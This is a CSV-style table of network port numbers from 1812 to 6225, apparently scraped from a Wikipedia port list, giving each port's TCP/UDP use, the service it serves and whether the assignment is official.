1812,Yes,Yes,"RADIUS authentication protocol, radius",Official
|
||||
1813,Yes,Yes,"RADIUS accounting protocol, radius-acct",Official
|
||||
1863,Yes,Yes,"Microsoft Notification Protocol (MSNP), used by the Microsoft Messenger service and a number of instant messaging Messenger clients",Official
|
||||
1880,?,?,Node-RED[140],Unofficial
|
||||
1883,Yes,Yes,MQTT (formerly MQ Telemetry Transport),Official
|
||||
1900,Assigned,Yes,"Simple Service Discovery Protocol (SSDP),[10] discovery of UPnP devices",Official
|
||||
1935,Yes,Yes,"Macromedia Flash Communications Server MX, the precursor to Adobe Flash Media Server before Macromedia's acquisition by Adobe on December 3, 2005",Official
|
||||
1935,Yes,Yes,"Real Time Messaging Protocol (RTMP)[citation needed], primarily used in Adobe Flash[141]",Unofficial
|
||||
1967,,Yes,Cisco IOS IP Service Level Agreements (IP SLAs) Control Protocol[citation needed],Unofficial
|
||||
1970,Yes,Yes,Netop Remote Control,Official
|
||||
1972,Yes,Yes,InterSystems Caché,Official
|
||||
1984,Yes,Yes,Big Brother,Official
|
||||
1985,Assigned,Yes,Cisco Hot Standby Router Protocol (HSRP)[142],Official
|
||||
1998,Yes,Yes,Cisco X.25 over TCP (XOT) service,Official
|
||||
2000,Yes,Yes,Cisco Skinny Client Control Protocol (SCCP),Official
|
||||
2010,?,?,Artemis: Spaceship Bridge Simulator[143],Unofficial
|
||||
2033,Yes,Yes,Civilization IV multiplayer[144],Unofficial
|
||||
2049,"Yes, and SCTP",Yes,Network File System (NFS)[10],Official
|
||||
2056,Yes,Yes,Civilization IV multiplayer[144],Unofficial
|
||||
2080,Yes,Yes,Autodesk NLM (FLEXlm),Official
|
||||
2082,Yes,,cPanel default[145],Unofficial
|
||||
2083,Yes,Yes,Secure RADIUS Service (radsec),Official
|
||||
2083,Yes,,cPanel default SSL[145],Unofficial
|
||||
2086,Yes,Yes,GNUnet,Official
|
||||
2086,Yes,,WebHost Manager default[145],Unofficial
|
||||
2087,Yes,,WebHost Manager default SSL[145],Unofficial
|
||||
2095,Yes,,cPanel default web mail[145],Official
|
||||
2096,Yes,,cPanel default SSL web mail[145],Unofficial
|
||||
2100,Yes,,Warzone 2100 multiplayer[citation needed],Unofficial
|
||||
2101,Yes,,Networked Transport of RTCM via Internet Protocol (NTRIP)[citation needed],Unofficial
|
||||
2102,Yes,Yes,Zephyr Notification Service server,Official
|
||||
2103,Yes,Yes,Zephyr Notification Service serv-hm connection,Official
|
||||
2104,Yes,Yes,Zephyr Notification Service hostmanager,Official
|
||||
2123,Yes,Yes,GTP control messages (GTP-C),Official
|
||||
2142,Yes,Yes,TDMoIP (TDM over IP),Official
|
||||
2152,Yes,Yes,GTP user data messages (GTP-U),Official
|
||||
2159,Yes,Yes,GDB remote debug port,Official
|
||||
2181,Yes,Yes,EForward-document transport system,Official
|
||||
2181,Yes,,Apache ZooKeeper default client port[citation needed],Unofficial
|
||||
2195,Yes,,Apple Push Notification Service[10][146],Unofficial
|
||||
2196,Yes,,"Apple Push Notification Service, feedback service[10][146]",Unofficial
|
||||
2210,Yes,Yes,NOAAPORT Broadcast Network,Official
|
||||
2211,Yes,Yes,EMWIN,Official
|
||||
2221,Yes,,ESET anti-virus updates[147],Unofficial
|
||||
2222,Yes,Yes,EtherNet/IP implicit messaging for IO data,Official
|
||||
2222,?,?,DirectAdmin Access[148],Unofficial
|
||||
2222–2226,Yes,,ESET Remote administrator[147],Official
|
||||
2261,Yes,Yes,CoMotion master,Official
|
||||
2262,Yes,Yes,CoMotion backup,Official
|
||||
2266,Yes,Yes,M-Files,Official
|
||||
2302,,Yes,ArmA multiplayer[citation needed],Unofficial
|
||||
2302,,Yes,Halo: Combat Evolved multiplayer host[149],Unofficial
|
||||
2303,,Yes,ArmA multiplayer (default port for game +1)[citation needed],Unofficial
|
||||
2303,,Yes,Halo: Combat Evolved multiplayer listener[149],Unofficial
|
||||
2305,,Yes,ArmA multiplayer (default port for game +3)[citation needed],Unofficial
|
||||
2351,Yes,,AIM game LAN network port[citation needed],Unofficial
|
||||
2368,Yes,,Ghost (blogging platform)[150],Unofficial
|
||||
2369,Yes,,Default for BMC Control-M/Server Configuration Agent,Unofficial
|
||||
2370,Yes,,"Default for BMC Control-M/Server, to allow the Control-M/Enterprise Manager to connect to the Control-M/Server",Unofficial
|
||||
2372,Yes,,"Default for K9 Web Protection/parental controls, content filtering agent[citation needed]",Unofficial
|
||||
2375,Yes,Reserved,Docker REST API (plain),Official
|
||||
2376,Yes,Reserved,Docker REST API (SSL),Official
|
||||
2377,Yes,Reserved,Docker Swarm cluster management communications[151],Official
|
||||
2379,Yes,Reserved,CoreOS etcd client communication,Official
|
||||
2379,Yes,,KGS Go Server[152],Unofficial
|
||||
2380,Yes,Reserved,CoreOS etcd server communication,Official
|
||||
2389,Assigned,Assigned,OpenView Session Mgr,Official
|
||||
2399,Yes,Yes,FileMaker Data Access Layer (ODBC/JDBC),Official
|
||||
2401,Yes,Yes,CVS version control system password-based server,Official
|
||||
2404,Yes,Yes,"IEC 60870-5-104, used to send electric power telecontrol messages between two systems via directly connected data circuits",Official
|
||||
2424,Yes,,OrientDB database listening for binary client connections[153],Unofficial
|
||||
2427,Yes,Yes,Media Gateway Control Protocol (MGCP) media gateway,Official
|
||||
2447,Yes,Yes,ovwdb—OpenView Network Node Manager (NNM) daemon,Official
|
||||
2480,Yes,,OrientDB database listening for HTTP client connections[153],Unofficial
|
||||
2483,Yes,Yes,"Oracle database listening for insecure client connections to the listener, replaces port 1521[when?]",Official
|
||||
2484,Yes,Yes,Oracle database listening for SSL client connections to the listener,Official
|
||||
2535,Yes,Yes,Multicast Address Dynamic Client Allocation Protocol (MADCAP).[154] All standard messages are UDP datagrams.[155],Official
|
||||
2541,Yes,Yes,LonTalk/IP,Official
|
||||
2546–2548,Yes,Yes,EVault data protection services,Official
|
||||
2593,Yes,Yes,Ultima Online servers[citation needed],Unofficial
|
||||
2598,Yes,,Citrix Independent Computing Architecture (ICA) with Session Reliability; port 1494 without session reliability[122],Unofficial
|
||||
2599,Yes,Yes,Ultima Online servers[citation needed],Unofficial
|
||||
2638,Yes,Yes,SQL Anywhere database server[156][157],Official
|
||||
2710,Yes,Yes,XBT Tracker.[158] UDP tracker extension is considered experimental.[159],Unofficial
|
||||
2727,Yes,Yes,Media Gateway Control Protocol (MGCP) media gateway controller (call agent),Official
|
||||
2775,Yes,Yes,Short Message Peer-to-Peer (SMPP)[citation needed],Official
|
||||
2809,Yes,Yes,"corbaloc:iiop URL, per the CORBA 3.0.3 specification",Official
|
||||
2811,Yes,Yes,"gsi ftp, per the GridFTP specification",Official
|
||||
2827,Yes,,I2P BOB Bridge[160],Unofficial
|
||||
2944,Yes,Yes,Megaco text H.248,Official
|
||||
2945,Yes,Yes,Megaco binary (ASN.1) H.248,Official
|
||||
2947,Yes,Yes,"gpsd, GPS daemon",Official
|
||||
2948,Yes,Yes,WAP push Multimedia Messaging Service (MMS),Official
|
||||
2949,Yes,Yes,WAP push secure (MMS),Official
|
||||
2967,Yes,Yes,Symantec System Center agent (SSC-AGENT),Official
|
||||
3000,Yes,,Cloud9 IDE server[citation needed],Unofficial
|
||||
3000,Yes,,Ruby on Rails development default[161],Unofficial
|
||||
3000,Yes,,Meteor development default[162][not in citation given],Unofficial
|
||||
3000,Yes,Yes,"Resilio Sync,[163] spun from BitTorrent Sync.",Unofficial
|
||||
3000,,Yes,Distributed Interactive Simulation (DIS)[citation needed],Unofficial
|
||||
3004,Yes,,iSync[10],Unofficial
|
||||
3020,Yes,Yes,"Common Internet File System (CIFS). See also port 445 for Server Message Block (SMB), a dialect of CIFS.",Official
|
||||
3050,Yes,Yes,gds-db (Interbase/Firebird databases),Official
|
||||
3052,Yes,Yes,APC PowerChute Network,Official
|
||||
3074,Yes,Yes,Xbox LIVE and Games for Windows – Live,Official
|
||||
3101,Yes,,BlackBerry Enterprise Server communication protocol[164],Unofficial
|
||||
3128,Yes,?,Squid caching web proxy[165],Unofficial
|
||||
3225,Yes,Yes,Fibre Channel over IP (FCIP),Official
|
||||
3233,Yes,Yes,WhiskerControl research control protocol,Official
|
||||
3260,Yes,Yes,iSCSI,Official
|
||||
3268,Yes,Yes,"msft-gc, Microsoft Global Catalog (LDAP service which contains data from Active Directory forests)",Official
|
||||
3269,Yes,Yes,"msft-gc-ssl, Microsoft Global Catalog over SSL (similar to port 3268, LDAP over SSL)",Official
|
||||
3283,Yes,Yes,"Net Assistant,[10] a predecessor to Apple Remote Desktop",Official
|
||||
3283,Yes,Yes,Apple Remote Desktop 2.0 or later[10],Unofficial
|
||||
3290,,Yes,Virtual Air Traffic Simulation (VATSIM) network voice communication[citation needed],Unofficial
|
||||
3305,Yes,Yes,Odette File Transfer Protocol (OFTP),Official
|
||||
3306,Yes,Assigned,MySQL database system[10],Official
|
||||
3313,Yes,,Verisys file integrity monitoring software,Unofficial
|
||||
3316,Yes,,AzimuthVMS database port for the CCTV recording software AzimuthVMS,Unofficial
|
||||
3323,Yes,Yes,DECE GEODI Server,Unofficial
|
||||
3332,,Yes,Thundercloud DataPath Overlay Control,Unofficial
|
||||
3333,Yes,,"Eggdrop, an IRC bot default port[166]",Unofficial
|
||||
3333,Yes,,Network Caller ID server,Unofficial
|
||||
3333,Yes,,CruiseControl.rb[167],Unofficial
|
||||
3351,?,?,Pervasive PSQL[130],Unofficial
|
||||
3386,Yes,Yes,GTP' 3GPP GSM/UMTS CDR logging protocol,Official
|
||||
3389,Yes,Yes,Microsoft Terminal Server (RDP) officially registered as Windows Based Terminal (WBT)[168],Official
|
||||
3396,Yes,Yes,Novell NDPS Printer Agent,Official
|
||||
3412,Yes,Yes,xmlBlaster,Official
|
||||
3455,Yes,Yes,Resource Reservation Protocol (RSVP),Official
|
||||
3423,Yes,,Xware xTrm Communication Protocol,Official
|
||||
3424,Yes,,Xware xTrm Communication Protocol over SSL,Official
|
||||
3478,Yes,Yes,"STUN, a protocol for NAT traversal[169]",Official
|
||||
3478,Yes,Yes,"TURN, a protocol for NAT traversal[170] (extension to STUN)",Official
|
||||
3478,Yes,Yes,STUN Behavior Discovery.[171] See also port 5349.,Official
|
||||
3479,Yes,Yes,PlayStation Network[172],Unofficial
|
||||
3480,Yes,Yes,PlayStation Network[172],Unofficial
|
||||
3483,,Yes,Slim Devices discovery protocol,Official
|
||||
3483,Yes,,Slim Devices SlimProto protocol,Official
|
||||
3493,Yes,Yes,Network UPS Tools (NUT),Official
|
||||
3516,Yes,Yes,Smartcard Port,Official
|
||||
3527,,Yes,Microsoft Message Queuing,Official
|
||||
3535,Yes,,SMTP alternate[173],Unofficial
|
||||
3544,,Yes,Teredo tunneling,Official
|
||||
3632,Yes,Assigned,"Distcc, distributed compiler[10]",Official
|
||||
3645,Yes,Yes,Cyc,Official
|
||||
3659,Yes,Yes,"Apple SASL, used by Mac OS X Server Password Server[10]",Official
|
||||
3659,,Yes,Battlefield 4,Unofficial
|
||||
3667,Yes,Yes,Information Exchange,Official
|
||||
3689,Yes,Assigned,"Digital Audio Access Protocol (DAAP), used by Apple's iTunes and AirPlay[10]",Official
|
||||
3690,Yes,Yes,Subversion (SVN)[10] version control system,Official
|
||||
3702,Yes,Yes,"Web Services Dynamic Discovery (WS-Discovery), used by various components of Windows Vista and later",Official
|
||||
3724,Yes,Yes,Some Blizzard games[119],Official
|
||||
3724,Yes,,Club Penguin Disney online game for kids,Unofficial
|
||||
3725,Yes,Yes,Netia NA-ER Port,Official
|
||||
3768,Yes,Yes,RBLcheckd server daemon,Official
|
||||
3784,,Yes,Bidirectional Forwarding Detection (BFD)for IPv4 and IPv6 (Single Hop) (RFC 5881),Official
|
||||
3785,,Yes,VoIP program used by Ventrilo,Unofficial
|
||||
3799,,Yes,RADIUS change of authorization,Official
|
||||
3804,Yes,Yes,Harman Professional HiQnet protocol,Official
|
||||
3825,Yes,,RedSeal Networks client/server connection[citation needed],Unofficial
|
||||
3826,Yes,Yes,WarMUX game server,Official
|
||||
3826,Yes,,RedSeal Networks client/server connection[citation needed],Unofficial
|
||||
3835,Yes,,RedSeal Networks client/server connection[citation needed],Unofficial
|
||||
3830,Yes,Yes,"System Management Agent, developed and used by Cerner to monitor and manage solutions",Official
|
||||
3856,Yes,Yes,ERP Server Application used by F10 Software,Unofficial
|
||||
3880,Yes,Yes,IGRS,Official
|
||||
3868,"Yes, and SCTP",,Diameter base protocol (RFC 3588),Official
|
||||
3872,Yes,,Oracle Enterprise Manager Remote Agent,Official
|
||||
3900,Yes,,"udt_os, IBM UniData UDT OS[174]",Official
|
||||
3960,,Yes,Warframe online interaction[citation needed],Unofficial
|
||||
3962,,Yes,Warframe online interaction[citation needed],Unofficial
|
||||
3978,Yes,Yes,OpenTTD game (masterserver and content service),Unofficial
|
||||
3979,Yes,Yes,OpenTTD game,Unofficial
|
||||
3999,Yes,Yes,Norman distributed scanning service,Official
|
||||
4000,Yes,Yes,Diablo II game,Unofficial
|
||||
4001,Yes,,Microsoft Ants game,Unofficial
|
||||
4001,Yes,,CoreOS etcd client communication,Unofficial
|
||||
4018,Yes,Yes,Protocol information and warnings[clarification needed],Official
|
||||
4035,Yes,,IBM Rational Developer for System z Remote System Explorer Daemon,Unofficial
|
||||
4045,Yes,Yes,Solaris lockd NFS lock daemon/manager,Unofficial
|
||||
4050,Yes,,Mud Master Chat protocol (MMCP) - Peer-to-peer communications between MUD clients.[175],Unofficial
|
||||
4069,,Yes,Minger Email Address Verification Protocol[176],Official
|
||||
4089,Yes,Yes,OpenCORE Remote Control Service,Official
|
||||
4090,Yes,Yes,Kerio,Official
|
||||
4093,Yes,Yes,PxPlus Client server interface ProvideX,Official
|
||||
4096,Yes,Yes,Ascom Timeplex Bridge Relay Element (BRE),Official
|
||||
4105,Yes,Yes,Shofar (ShofarNexus),Official
|
||||
4111,Yes,Assigned,Xgrid[10],Official
|
||||
4116,Yes,Yes,Smartcard-TLS,Official
|
||||
4125,Yes,,Microsoft Remote Web Workplace administration,Unofficial
|
||||
4172,Yes,Yes,Teradici PCoIP,Official
|
||||
4190,Yes,,ManageSieve[177],Official
|
||||
4198,Yes,Yes,Couch Potato Android app[178],Unofficial
|
||||
4201,Yes,,TinyMUD and various derivatives,Unofficial
|
||||
4222,Yes,,NATS server default port[179],Unofficial
|
||||
4226,Yes,Yes,"Aleph One, a computer game",Unofficial
|
||||
4242,Yes,,Orthanc – DICOM server[180],Unofficial
|
||||
4242,Yes,,Quassel distributed IRC client,Unofficial
|
||||
4243,Yes,,"Docker implementations, redistributions, and setups default[181][needs update?]",Unofficial
|
||||
4243,Yes,,CrashPlan,Unofficial
|
||||
4244,Yes,Yes,Viber[182],Unofficial
|
||||
4303,Yes,Yes,Simple Railroad Command Protocol (SRCP),Official
|
||||
4307,Yes,,TrueConf Client - TrueConf Server media data exchange[183],Official
|
||||
4321,Yes,,Referral Whois (RWhois) Protocol[184],Official
|
||||
4444,Yes,Yes,Oracle WebCenter Content: Content Server—Intradoc Socket port. (formerly known as Oracle Universal Content Management).,Unofficial
|
||||
4444,?,?,Metasploit's default listener port[citation needed],Unofficial
|
||||
4444,Yes,Yes,Xvfb X server virtual frame buffer service,Unofficial
|
||||
4444–4445,Yes,,I2P HTTP/S proxy,Unofficial
|
||||
4486,Yes,Yes,Integrated Client Message Service (ICMS),Official
|
||||
4488,Yes,Assigned,"Apple Wide Area Connectivity Service, used by Back to My Mac[10]",Official
|
||||
4500,Assigned,Yes,"IPSec NAT Traversal[10] (RFC 3947, RFC 4306)",Official
|
||||
4502–4534,Yes,,Microsoft Silverlight connectable ports under non-elevated trust,Official
|
||||
4505–4506,Yes,,Salt master,Unofficial
|
||||
4534,,Yes,Armagetron Advanced server default,Unofficial
|
||||
4560,Yes,,default Log4j socketappender port,Unofficial
|
||||
4567,Yes,,Sinatra default server port in development mode (HTTP),Unofficial
|
||||
4569,,Yes,Inter-Asterisk eXchange (IAX2),Official
|
||||
4604,Yes,,Identity Registration Protocol,Official
|
||||
4605,Yes,,Direct End to End Secure Chat Protocol,Official
|
||||
4610–4640,Yes,,QualiSystems TestShell Suite Services,Unofficial
|
||||
4662,Yes,Yes,OrbitNet Message Service,Official
|
||||
4662,Yes,,Default for older versions of eMule[185],Unofficial
|
||||
4664,Yes,,Google Desktop Search,Unofficial
|
||||
4672,,Yes,Default for older versions of eMule[185],Unofficial
|
||||
4711,Yes,,eMule optional web interface[185],Unofficial
|
||||
4713,Yes,,PulseAudio sound server,Unofficial
|
||||
4728,Yes,,Computer Associates Desktop and Server Management (DMP)/Port Multiplexer[186],Official
|
||||
4730,Yes,Yes,Gearman's job server,Official
|
||||
4739,Yes,Yes,IP Flow Information Export,Official
|
||||
4747,Yes,,Apprentice,Unofficial
|
||||
4753,Yes,Yes,SIMON (service and discovery),Official
|
||||
4789,,Yes,Virtual eXtensible Local Area Network (VXLAN)[187],Official
|
||||
4840,Yes,Yes,OPC UA Connection Protocol (TCP) and OPC UA Multicast Datagram Protocol (UDP) for OPC Unified Architecture from OPC Foundation,Official
|
||||
4843,Yes,Yes,OPC UA TCP Protocol over TLS/SSL for OPC Unified Architecture from OPC Foundation,Official
|
||||
4847,Yes,Yes,"Web Fresh Communication, Quadrion Software & Odorless Entertainment",Official
|
||||
4848,Yes,,"Java, Glassfish Application Server administration default",Unofficial
|
||||
4894,Yes,Yes,LysKOM Protocol A,Official
|
||||
4949,Yes,,Munin Resource Monitoring Tool,Official
|
||||
4950,Yes,Yes,Cylon Controls UC32 Communications Port,Official
|
||||
5000,Yes,,UPnP—Windows network device interoperability,Unofficial
|
||||
5000,Yes,Yes,"VTun, VPN Software",Unofficial
|
||||
5000,,Yes,FlightGear multiplayer[188],Unofficial
|
||||
5000,Yes,,"Synology Inc. Management Console, File Station, Audio Station",Unofficial
|
||||
5000,Yes,,Flask Development Webserver,Unofficial
|
||||
5000,Yes,,Heroku console access,Unofficial
|
||||
5000,Yes,,"AT&T U-verse public, educational, and government access (PEG) streaming over HTTP[189]",Unofficial
|
||||
5000,?,?,High-Speed SECS Message Services[citation needed],Unofficial
|
||||
5000–5500,No,Yes,"League of Legends, a multiplayer online battle arena video game[190]",Unofficial
|
||||
5001,Yes,,Slingbox and Slingplayer,Unofficial
|
||||
5001,Yes,Yes,Iperf (Tool for measuring TCP and UDP bandwidth performance),Unofficial
|
||||
5001,Yes,,"Synology Inc. Secured Management Console, File Station, Audio Station",Unofficial
|
||||
5002,Yes,,ASSA ARX access control system[191],Unofficial
|
||||
5003,Yes,Assigned,FileMaker – name binding and transport[10],Official
|
||||
5004,"Yes, and DCCP",Yes,"Real-time Transport Protocol media data (RTP) (RFC 3551, RFC 4571)",Official
|
||||
5005,"Yes, and DCCP",Yes,"Real-time Transport Protocol control protocol (RTCP) (RFC 3551, RFC 4571)",Official
|
||||
5010,Yes,Yes,Registered to: TelePath (the IBM FlowMark workflow-management system messaging platform)[192]The TCP port is now used for: IBM WebSphere MQ Workflow,Official
|
||||
5011,Yes,Yes,TelePath (the IBM FlowMark workflow-management system messaging platform)[192],Official
|
||||
5025,Yes,Yes,scpi-raw Standard Commands for Programmable Instruments,Official
|
||||
5031,Yes,Yes,AVM CAPI-over-TCP (ISDN over Ethernet tunneling)[citation needed],Unofficial
|
||||
5037,Yes,,Android ADB server,Unofficial
|
||||
5048,Yes,,Texai Message Service,Official
|
||||
5050,Yes,,Yahoo! Messenger,Unofficial
|
||||
5051,Yes,,ita-agent Symantec Intruder Alert[193],Official
|
||||
5060,Yes,Yes,Session Initiation Protocol (SIP)[10],Official
|
||||
5061,Yes,,Session Initiation Protocol (SIP) over TLS,Official
|
||||
5062,Yes,Yes,Localisation access,Official
|
||||
5064,Yes,Yes,EPICS Channel Access server[194],Official
|
||||
5065,Assigned,Yes,EPICS Channel Access repeater beacon[194],Official
|
||||
5070,Yes,No,Binary Floor Control Protocol (BFCP)[195],Unofficial
|
||||
5084,Yes,Yes,EPCglobal Low Level Reader Protocol (LLRP),Official
|
||||
5085,Yes,Yes,EPCglobal Low Level Reader Protocol (LLRP) over TLS,Official
|
||||
5093,,Yes,"SafeNet, Inc Sentinel LM, Sentinel RMS, License Manager, client-to-server",Official
|
||||
5099,Yes,Yes,"SafeNet, Inc Sentinel LM, Sentinel RMS, License Manager, server-to-server",Official
|
||||
5104,Yes,,IBM Tivoli Framework NetCOOL/Impact[196] HTTP Service,Unofficial
|
||||
5121,Yes,,Neverwinter Nights,Unofficial
|
||||
5124,Yes,Yes,TorgaNET (Micronational Darknet),Unofficial
|
||||
5125,Yes,Yes,TorgaNET (Micronational Intelligence Darknet),Unofficial
|
||||
5150,Yes,Yes,ATMP Ascend Tunnel Management Protocol[197],Official
|
||||
5151,Yes,,ESRI SDE Instance,Official
|
||||
5151,,Yes,ESRI SDE Remote Start,Official
|
||||
5154,Yes,Yes,BZFlag,Official
|
||||
5172,Yes,,PC over IP Endpoint Management[198],Official
|
||||
5190,Yes,Yes,AOL Instant Messenger protocol.[10] The chat app is defunct as of 15 December 2017.[199],Official
|
||||
5198,,Yes,EchoLink VoIP Amateur Radio Software (Voice),Unofficial
|
||||
5199,,Yes,EchoLink VoIP Amateur Radio Software (Voice),Unofficial
|
||||
5200,Yes,,EchoLink VoIP Amateur Radio Software (Information),Unofficial
|
||||
5201,Yes,Yes,Iperf3 (Tool for measuring TCP and UDP bandwidth performance),Unofficial
|
||||
5222,Yes,Reserved,Extensible Messaging and Presence Protocol (XMPP) client connection[10][200][201],Official
|
||||
5223,Yes,,Apple Push Notification Service[10][146],Unofficial
|
||||
5223,Yes,,Extensible Messaging and Presence Protocol (XMPP) client connection over SSL,Unofficial
|
||||
5228,Yes,,HP Virtual Room Service,Official
|
||||
5228,Yes,,"Google Play, Android Cloud to Device Messaging Service, Google Cloud Messaging",Unofficial
|
||||
5242,Yes,Yes,Viber[182],Unofficial
|
||||
5243,Yes,Yes,Viber[182],Unofficial
|
||||
5246,,Yes,Control And Provisioning of Wireless Access Points (CAPWAP) CAPWAP control[202],Official
|
||||
5247,,Yes,Control And Provisioning of Wireless Access Points (CAPWAP) CAPWAP data[202],Official
|
||||
5269,Yes,,Extensible Messaging and Presence Protocol (XMPP) server-to-server connection[10][200][201],Official
|
||||
5280,Yes,,Extensible Messaging and Presence Protocol (XMPP)[203],Official
|
||||
5281,Yes,,Extensible Messaging and Presence Protocol (XMPP)[204],Unofficial
|
||||
5298,Yes,Yes,Extensible Messaging and Presence Protocol (XMPP)[205],Official
|
||||
5310,Assigned,Yes,"Outlaws, a 1997 first-person shooter video game[citation needed]",Official
|
||||
5318,Yes,Reserved,Certificate Management over CMS[206],Official
|
||||
5349,Yes/No,Yes/No,"STUN over TLS/DTLS, a protocol for NAT traversal[169]",Official
|
||||
5349,Yes/No,Yes/No,"TURN over TLS/DTLS, a protocol for NAT traversal[170]",Official
|
||||
5349,Yes,Reserved,STUN Behavior Discovery over TLS.[171] See also port 3478.,Official
|
||||
5351,Reserved,Yes,NAT Port Mapping Protocol and Port Control Protocol—client-requested configuration for connections through network address translators and firewalls,Official
|
||||
5353,Assigned,Yes,Multicast DNS (mDNS)[10],Official
|
||||
5355,Yes,Yes,"Link-Local Multicast Name Resolution (LLMNR), allows hosts to perform name resolution for hosts on the same local link (only provided by Windows Vista and Server 2008)",Official
|
||||
5357,Yes,Yes,"Web Services for Devices (WSDAPI) (only provided by Windows Vista, Windows 7 and Server 2008)",Unofficial
|
||||
5358,Yes,Yes,"WSDAPI Applications to Use a Secure Channel (only provided by Windows Vista, Windows 7 and Server 2008)",Unofficial
|
||||
5394,,Yes,"Kega Fusion, a Sega multi-console emulator[207][208]",Unofficial
|
||||
5402,Yes,Yes,Multicast File Transfer Protocol (MFTP)[209][importance?],Official
|
||||
5405,Yes,Yes,NetSupport Manager,Official
|
||||
5412,Yes,Yes,IBM Rational Synergy (Telelogic Synergy) (Continuus CM) Message Router,Official
|
||||
5413,Yes,Yes,Wonderware SuiteLink service,Official
|
||||
5417,Yes,Yes,SNS Agent,Official
|
||||
5421,Yes,Yes,NetSupport Manager,Official
|
||||
5432,Yes,Assigned,PostgreSQL[10] database system,Official
|
||||
5433,Yes,,Bouwsoft file/webserver[210],Unofficial
|
||||
5445,,Yes,Cisco Unified Video Advantage[citation needed],Unofficial
|
||||
5480,Yes,,VMware VAMI (Virtual Appliance Management Infrastructure)—used for initial setup of various administration settings on Virtual Appliances designed using the VAMI architecture.,Unofficial
|
||||
5481,Yes,,Schneider Electric's ClearSCADA (SCADA implementation for Windows) — used for client-to-server communication.[211],Unofficial
|
||||
5495,Yes,,IBM Cognos TM1 Admin server,Unofficial
|
||||
5498,Yes,,Hotline tracker server connection,Unofficial
|
||||
5499,,Yes,Hotline tracker server discovery,Unofficial
|
||||
5500,Yes,,Hotline control connection,Unofficial
|
||||
5500,Yes,,VNC Remote Frame Buffer RFB protocol—for incoming listening viewer,Unofficial
|
||||
5501,Yes,,Hotline file transfer connection,Unofficial
|
||||
5517,Yes,,Setiqueue Proxy server client for SETI@Home project,Unofficial
|
||||
5550,Yes,,Hewlett-Packard Data Protector[citation needed],Unofficial
|
||||
5554,Yes,Yes,Fastboot default wireless port,Unofficial
|
||||
5555,Yes,Yes,Oracle WebCenter Content: Inbound Refinery—Intradoc Socket port. (formerly known as Oracle Universal Content Management). Port though often changed during installation,Unofficial
|
||||
5555,Yes,,"Freeciv versions up to 2.0, Hewlett-Packard Data Protector, McAfee EndPoint Encryption Database Server, SAP, Default for Microsoft Dynamics CRM 4.0, Softether VPN default port",Unofficial
|
||||
5556,Yes,Yes,"Freeciv, Oracle WebLogic Server Node Manager[212]",Official
|
||||
5568,Yes,Yes,"Session Data Transport (SDT), a part of Architecture for Control Networks (ACN)[213][full citation needed]",Official
|
||||
5601,Yes,,Kibana[citation needed],Unofficial
|
||||
5631,Yes,,"pcANYWHEREdata, Symantec pcAnywhere (version 7.52 and later[214])[215] data",Official
|
||||
5632,,Yes,"pcANYWHEREstat, Symantec pcAnywhere (version 7.52 and later) status",Official
|
||||
5656,Yes,,IBM Lotus Sametime p2p file transfer,Unofficial
|
||||
5666,Yes,,NRPE (Nagios),Unofficial
|
||||
5667,Yes,,NSCA (Nagios),Unofficial
|
||||
5670,Yes,,FILEMQ ZeroMQ File Message Queuing Protocol,Official
|
||||
5670,,Yes,ZRE-DISC ZeroMQ Realtime Exchange Protocol (Discovery),Official
|
||||
5671,Yes,Assigned,Advanced Message Queuing Protocol (AMQP)[216] over TLS,Official
|
||||
5672,"Yes, and SCTP",Assigned,Advanced Message Queuing Protocol (AMQP)[216],Official
|
||||
5678,,Yes,Mikrotik RouterOS Neighbor Discovery Protocol (MNDP),Unofficial
|
||||
5683,,Yes,Constrained Application Protocol (CoAP),Official
|
||||
5701,Yes,,Hazelcast default communication port[217],Unofficial
|
||||
5722,Yes,Yes,"Microsoft RPC, DFSR (SYSVOL) Replication Service[citation needed]",Official
|
||||
5718,Yes,,Microsoft DPM Data Channel (with the agent coordinator),Unofficial
|
||||
5719,Yes,,Microsoft DPM Data Channel (with the protection agent),Unofficial
|
||||
5723,Yes,,System Center Operations Manager[218],Unofficial
|
||||
5724,Yes,,Operations Manager Console,Unofficial
|
||||
5741,Yes,Yes,IDA Discover Port 1,Official
|
||||
5742,Yes,Yes,IDA Discover Port 2,Official
|
||||
5800,Yes,,VNC Remote Frame Buffer RFB protocol over HTTP,Unofficial
|
||||
5800,Yes,,ProjectWise Server[219],Unofficial
|
||||
5900,Yes,Yes,Remote Frame Buffer protocol (RFB),Official
|
||||
5900,Yes,,Virtual Network Computing (VNC) Remote Frame Buffer RFB protocol[10][220],Unofficial
|
||||
5931,Yes,Yes,AMMYY admin Remote Control,Official
|
||||
5938,Yes,Yes,TeamViewer remote desktop protocol[221],Unofficial
|
||||
5984,Yes,Yes,CouchDB database server,Official
|
||||
5985,Yes,,Windows PowerShell Default psSession Port[222],Official
|
||||
5986,Yes,,Windows PowerShell Default psSession Port[222],Official
|
||||
5988–5989,Yes,,CIM-XML (DMTF Protocol)[223],Official
|
||||
6000-6063,Yes,Yes,X11—used between an X client and server over the network,Official
|
||||
6005,Yes,,Default for BMC Software Control-M/Server—Socket used for communication between Control-M processes—though often changed during installation,Unofficial
|
||||
6005,Yes,,Default for Camfrog chat & cam client,Unofficial
|
||||
6009,Yes,,JD Edwards EnterpriseOne ERP system JDENet messaging client listener,Unofficial
|
||||
6050,Yes,,Arcserve backup,Unofficial
|
||||
6051,Yes,,Arcserve backup,Unofficial
|
||||
6086,Yes,,"Peer Distributed Transfer Protocol (PDTP), FTP like file server in a P2P network",Official
|
||||
6100,Yes,,Vizrt System,Unofficial
|
||||
6100,Yes,,Ventrilo authentication for version 3,Unofficial
|
||||
6101,Yes,,Backup Exec Agent Browser[citation needed],Unofficial
|
||||
6110,Yes,Yes,"softcm, HP Softbench CM",Official
|
||||
6111,Yes,Yes,"spc, HP Softbench Sub-Process Control",Official
|
||||
6112,Yes,Yes,"dtspcd, execute commands and launch applications remotely",Official
|
||||
6112,Yes,Yes,"Blizzard's Battle.net gaming service and some games,[119] ArenaNet gaming service, Relic gaming service",Unofficial
|
||||
6112,Yes,,Club Penguin Disney online game for kids,Unofficial
|
||||
6113,Yes,,"Club Penguin Disney online game for kids, Used by some Blizzard games[119]",Unofficial
|
||||
6136,Yes,,ObjectDB database server[224],Unofficial
|
||||
6159,Yes,,ARINC 840 EFB Application Control Interface,Official
|
||||
6200,Yes,,Oracle WebCenter Content Portable: Content Server (With Native UI) and Inbound Refinery,Unofficial
|
||||
6201,Yes,,Oracle WebCenter Content Portable: Admin,Unofficial
|
||||
6225,Yes,,Oracle WebCenter Content Portable: Content Server Web UI,Unofficial
|
||||
